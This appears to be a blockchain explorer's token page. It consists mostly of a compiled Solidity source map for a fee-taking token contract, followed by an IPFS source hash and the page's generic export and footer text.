;;7039:6;;7015:21;:58::i;:::-;-1:-1:-1;;;;;6995:17:0;;;;;;;:9;:17;;;;;;:78;;;;7099:20;;;;;;;:32;;7124:6;7099:24;:32::i;:::-;-1:-1:-1;;;;;7076:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7139:35;;;;;;;;;;7167:6;2758:25:1;;2746:2;2731:18;;2612:177;7139:35:0;;;;;;;;-1:-1:-1;7184:4:0;6887:305;;;;;:::o;11738:196::-;11851:4;;11821;;-1:-1:-1;;;;;11838:17:0;;;11851:4;;11838:17;;;;:39;;-1:-1:-1;11873:4:0;;-1:-1:-1;;;;;11860:17:0;;;11873:4;;11860:17;;11838:39;:64;;;;-1:-1:-1;;;;;;11883:19:0;;;;;;:11;:19;;;;;;;;11882:20;11838:64;:92;;;;-1:-1:-1;;;;;;;11908:22:0;;;;;:11;:22;;;;;;;;11907:23;;11738:196;-1:-1:-1;11738:196:0:o;14280:95::-;14347:4;;-1:-1:-1;;;;;14347:4:0;;;14337:14;;;;14334:38;;14356:10;:12;;;:10;:12;;;:::i;:::-;;;;;;14280:95;:::o;11936:291::-;12014:4;12020;12031:13;12051:15;12069:16;12080:4;-1:-1:-1;;;;;14455:19:0;14438:4;14455:19;;;:11;:19;;;;;;;;14454:20;;14379:99;12069:16;12099:4;;12051:34;;-1:-1:-1;;;;;;12099:4:0;;;12093:10;;;;12090:102;;12119:1;12108:12;;12090:102;;;12142:4;;-1:-1:-1;;;;;12142:4:0;;;12134:12;;;;12130:62;;12162:1;12151:12;;12130:62;;;12187:1;12176:12;;12130:62;12202:10;12214:8;;-1:-1:-1;11936:291:0;-1:-1:-1;;;11936:291:0:o;10986:470::-;11248:4;11111;6861:18;;;:9;:18;;;;;;11148:6;;11185:7;;11259:16;11305:15;11278:24;:42;:81;;;;;11344:15;11324:17;:35;11278:81;11373:6;;11259:100;;-1:-1:-1;11373:6:0;;11372:7;:25;;;;;11384:13;11372:25;:48;;;;;11419:1;11403:13;:17;11372:48;:64;;;;;11425:11;11372:64;:80;;;;-1:-1:-1;11441:11:0;;-1:-1:-1;;;11441:11:0;;;;11372:80;11364:88;10986:470;-1:-1:-1;;;;;;;;;10986:470:0:o;8211:507::-;6227:6;:13;;-1:-1:-1;;6227:13:0;6236:4;6227:13;;;8320:4:::1;-1:-1:-1::0;6861:18:0;;;:9;:18;;;;;;8279:47:::1;;8329:20;8352:43;8356:6;8364:30;8368:12;8382:11;;8364:3;:30::i;:::-;8352:3;:43::i;:::-;8424:16;::::0;;8438:1:::1;8424:16:::0;;;;;::::1;::::0;;8329:66;;-1:-1:-1;8400:21:0::1;::::0;8424:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8424:16:0::1;8400:40;;8461:4;8443;8448:1;8443:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8443:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8479:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;8479:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;8443:7;;8479:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8469:4;8474:1;8469:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8469:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;8497:6:::1;::::0;:120:::1;::::0;-1:-1:-1;;;8497:120:0;;:6;::::1;::::0;:57:::1;::::0;:120:::1;::::0;8557:12;;8497:6:::1;::::0;8576:4;;8591::::1;::::0;8599:15:::1;::::0;8497:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;8677:13:0::1;::::0;8669:45:::1;::::0;8645:21:::1;::::0;-1:-1:-1;;;;;;8677:13:0;;::::1;::::0;-1:-1:-1;8669:45:0;::::1;;;::::0;8645:21;;8622:20:::1;8669:45:::0;8622:20;8669:45;8645:21;8677:13;8669:45;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6247:6:0;:14;;-1:-1:-1;;6247:14:0;;;-1:-1:-1;;;;8211:507:0:o;9645:485::-;9777:4;9788:20;9812:23;9874:41;9891:6;9899:7;9908:6;9874:16;:41::i;:::-;9938:64;;;;;;;;;;;-1:-1:-1;;;9938:64:0;;;;;;;;-1:-1:-1;;;;;9938:17:0;;-1:-1:-1;9938:17:0;;;:9;:17;;;;;;;;9840:75;;-1:-1:-1;9840:75:0;;-1:-1:-1;9938:64:0;;:17;9840:75;;9938:21;:64::i;:::-;-1:-1:-1;;;;;9918:17:0;;;;;;;:9;:17;;;;;;:84;;;;10028:20;;;;;;;:41;;10053:15;10028:24;:41::i;:::-;-1:-1:-1;;;;;10005:20:0;;;;;;;:9;:20;;;;;;;:64;;;;10077:35;;;;;;;;;;10105:6;2758:25:1;;2746:2;2731:18;;2612:177;10077:35:0;;;;;;;;-1:-1:-1;10122:4:0;;9645:485;-1:-1:-1;;;;;;;9645:485:0:o;268:151::-;326:7;;350:5;354:1;350;:5;:::i;:::-;338:17;;371:1;366;:6;;358:46;;;;-1:-1:-1;;;358:46:0;;11070:2:1;358:46:0;;;11052:21:1;11109:2;11089:18;;;11082:30;11148:29;11128:18;;;11121:57;11195:18;;358:46:0;10868:351:1;10800:88:0;10857:7;10878:1;10876;:3;10875:9;;10883:1;10875:9;;;-1:-1:-1;10881:1:0;10800:88;-1:-1:-1;10800:88:0:o;7743:378::-;7830:7;7839;7851:15;7869:7;:104;;7890:16;;-1:-1:-1;;;7890:16:0;;;;:83;;7966:7;7869:104;;7890:83;7910:51;7936:6;7944:7;7953;7910:25;:51::i;:::-;7869:104;;;7880:7;7869:104;7996:16;;7851:122;;-1:-1:-1;7978:15:0;;-1:-1:-1;;;7996:16:0;;;;:27;;;;;8016:7;7996:27;:93;;8082:7;7996:93;;;8027:51;8053:6;8061:7;8070;8027:25;:51::i;:::-;8100:7;;;;-1:-1:-1;7743:378:0;;-1:-1:-1;;;;;7743:378:0:o;8841:763::-;8953:7;;9024:3;9032:311;;;;9074:1;9058:13;:17;9055:252;;;9109:16;;9098:10;;:27;:58;;9144:12;;9098:58;;;9128:13;;9098:58;9080:77;;9032:311;;9055:252;9173:17;;9170:134;;9224:15;;9213:10;;:26;:55;;9257:11;;9213:55;;;9242:12;;9195:74;;9032:311;;9170:134;9299:1;9282:18;;9032:311;;;9338:1;9321:18;;9032:311;9347:18;9368:55;9400:22;9368:27;:7;9380:14;9368:11;:27::i;:::-;:31;;:55::i;:::-;9471:4;9453:24;;;;:9;:24;;;;;;9347:76;;-1:-1:-1;9453:40:0;;9347:76;9453:28;:40::i;:::-;9444:4;9426:24;;;;:9;:24;;;;;:67;9509:13;:56;;9538:27;:7;9550:14;9538:11;:27::i;:::-;9509:56;;;9525:10;9509:56;9496:69;-1:-1:-1;9577:23:0;:7;9496:69;9577:11;:23::i;:::-;9570:30;8841:763;-1:-1:-1;;;;;;;8841:763:0:o;723:190::-;781:7;797:1;802;797:6;793:27;;-1:-1:-1;815:1:0;808:8;;793:27;822:9;834:5;838:1;834;:5;:::i;:::-;822:17;-1:-1:-1;859:1:0;850:5;854:1;822:17;850:5;:::i;:::-;:10;842:56;;;;-1:-1:-1;;;842:56:0;;11821:2:1;842:56:0;;;11803:21:1;11860:2;11840:18;;;11833:30;11899:34;11879:18;;;11872:62;-1:-1:-1;;;11950:18:1;;;11943:31;11991:19;;842:56:0;11619:397:1;917:120:0;975:7;994:39;998:1;1001;994:39;;;;;;;;;;;;;;;;;:3;:39::i;423:124::-;481:7;500:43;504:1;507;500:43;;;;;;;;;;;;;;;;;:3;:43::i;1041:167::-;1133:7;1160:12;1153:5;1145:28;;;;-1:-1:-1;;;1145:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1176:9:0;1188:5;1192:1;1188;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;759:131::-;-1:-1:-1;;;;;834:31:1;;824:42;;814:70;;880:1;877;870:12;895:134;963:20;;992:31;963:20;992:31;:::i;:::-;895:134;;;:::o;1034:315::-;1102:6;1110;1163:2;1151:9;1142:7;1138:23;1134:32;1131:52;;;1179:1;1176;1169:12;1131:52;1218:9;1205:23;1237:31;1262:5;1237:31;:::i;:::-;1287:5;1339:2;1324:18;;;;1311:32;;-1:-1:-1;;;1034:315:1:o;1354:127::-;1415:10;1410:3;1406:20;1403:1;1396:31;1446:4;1443:1;1436:15;1470:4;1467:1;1460:15;1486:1121;1570:6;1601:2;1644;1632:9;1623:7;1619:23;1615:32;1612:52;;;1660:1;1657;1650:12;1612:52;1700:9;1687:23;1729:18;1770:2;1762:6;1759:14;1756:34;;;1786:1;1783;1776:12;1756:34;1824:6;1813:9;1809:22;1799:32;;1869:7;1862:4;1858:2;1854:13;1850:27;1840:55;;1891:1;1888;1881:12;1840:55;1927:2;1914:16;1949:2;1945;1942:10;1939:36;;;1955:18;;:::i;:::-;2001:2;1998:1;1994:10;2033:2;2027:9;2096:2;2092:7;2087:2;2083;2079:11;2075:25;2067:6;2063:38;2151:6;2139:10;2136:22;2131:2;2119:10;2116:18;2113:46;2110:72;;;2162:18;;:::i;:::-;2198:2;2191:22;2248:18;;;2282:15;;;;-1:-1:-1;2324:11:1;;;2320:20;;;2352:19;;;2349:39;;;2384:1;2381;2374:12;2349:39;2408:11;;;;2428:148;2444:6;2439:3;2436:15;2428:148;;;2510:23;2529:3;2510:23;:::i;:::-;2498:36;;2461:12;;;;2554;;;;2428:148;;;2595:6;1486:1121;-1:-1:-1;;;;;;;;1486:1121:1:o;2794:456::-;2871:6;2879;2887;2940:2;2928:9;2919:7;2915:23;2911:32;2908:52;;;2956:1;2953;2946:12;2908:52;2995:9;2982:23;3014:31;3039:5;3014:31;:::i;:::-;3064:5;-1:-1:-1;3121:2:1;3106:18;;3093:32;3134:33;3093:32;3134:33;:::i;:::-;2794:456;;3186:7;;-1:-1:-1;;;3240:2:1;3225:18;;;;3212:32;;2794:456::o;3255:180::-;3314:6;3367:2;3355:9;3346:7;3342:23;3338:32;3335:52;;;3383:1;3380;3373:12;3335:52;-1:-1:-1;3406:23:1;;3255:180;-1:-1:-1;3255:180:1:o;3440:247::-;3499:6;3552:2;3540:9;3531:7;3527:23;3523:32;3520:52;;;3568:1;3565;3558:12;3520:52;3607:9;3594:23;3626:31;3651:5;3626:31;:::i;4089:388::-;4157:6;4165;4218:2;4206:9;4197:7;4193:23;4189:32;4186:52;;;4234:1;4231;4224:12;4186:52;4273:9;4260:23;4292:31;4317:5;4292:31;:::i;:::-;4342:5;-1:-1:-1;4399:2:1;4384:18;;4371:32;4412:33;4371:32;4412:33;:::i;:::-;4464:7;4454:17;;;4089:388;;;;;:::o;4716:329::-;4918:2;4900:21;;;4957:1;4937:18;;;4930:29;-1:-1:-1;;;4990:2:1;4975:18;;4968:36;5036:2;5021:18;;4716:329::o;5050:127::-;5111:10;5106:3;5102:20;5099:1;5092:31;5142:4;5139:1;5132:15;5166:4;5163:1;5156:15;5182:127;5243:10;5238:3;5234:20;5231:1;5224:31;5274:4;5271:1;5264:15;5298:4;5295:1;5288:15;5314:135;5353:3;5374:17;;;5371:43;;5394:18;;:::i;:::-;-1:-1:-1;5441:1:1;5430:13;;5314:135::o;5454:251::-;5524:6;5577:2;5565:9;5556:7;5552:23;5548:32;5545:52;;;5593:1;5590;5583:12;5545:52;5625:9;5619:16;5644:31;5669:5;5644:31;:::i;6631:306::-;6719:6;6727;6735;6788:2;6776:9;6767:7;6763:23;6759:32;6756:52;;;6804:1;6801;6794:12;6756:52;6833:9;6827:16;6817:26;;6883:2;6872:9;6868:18;6862:25;6852:35;;6927:2;6916:9;6912:18;6906:25;6896:35;;6631:306;;;;;:::o;7645:128::-;7712:9;;;7733:11;;;7730:37;;;7747:18;;:::i;9347:125::-;9412:9;;;9433:10;;;9430:36;;;9446:18;;:::i;9883:980::-;10145:4;10193:3;10182:9;10178:19;10224:6;10213:9;10206:25;10250:2;10288:6;10283:2;10272:9;10268:18;10261:34;10331:3;10326:2;10315:9;10311:18;10304:31;10355:6;10390;10384:13;10421:6;10413;10406:22;10459:3;10448:9;10444:19;10437:26;;10498:2;10490:6;10486:15;10472:29;;10519:1;10529:195;10543:6;10540:1;10537:13;10529:195;;;10608:13;;-1:-1:-1;;;;;10604:39:1;10592:52;;10699:15;;;;10664:12;;;;10640:1;10558:9;10529:195;;;-1:-1:-1;;;;;;;10780:32:1;;;;10775:2;10760:18;;10753:60;-1:-1:-1;;;10844:3:1;10829:19;10822:35;10741:3;9883:980;-1:-1:-1;;;9883:980:1:o;11224:168::-;11297:9;;;11328;;11345:15;;;11339:22;;11325:37;11315:71;;11366:18;;:::i;11397:217::-;11437:1;11463;11453:132;;11507:10;11502:3;11498:20;11495:1;11488:31;11542:4;11539:1;11532:15;11570:4;11567:1;11560:15;11453:132;-1:-1:-1;11599:9:1;;11397:217::o
Swarm Source
ipfs://04cdb0591cd71c0112ee781c590b2f7372659622c2b657c79a6bcfdcd174ff74
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.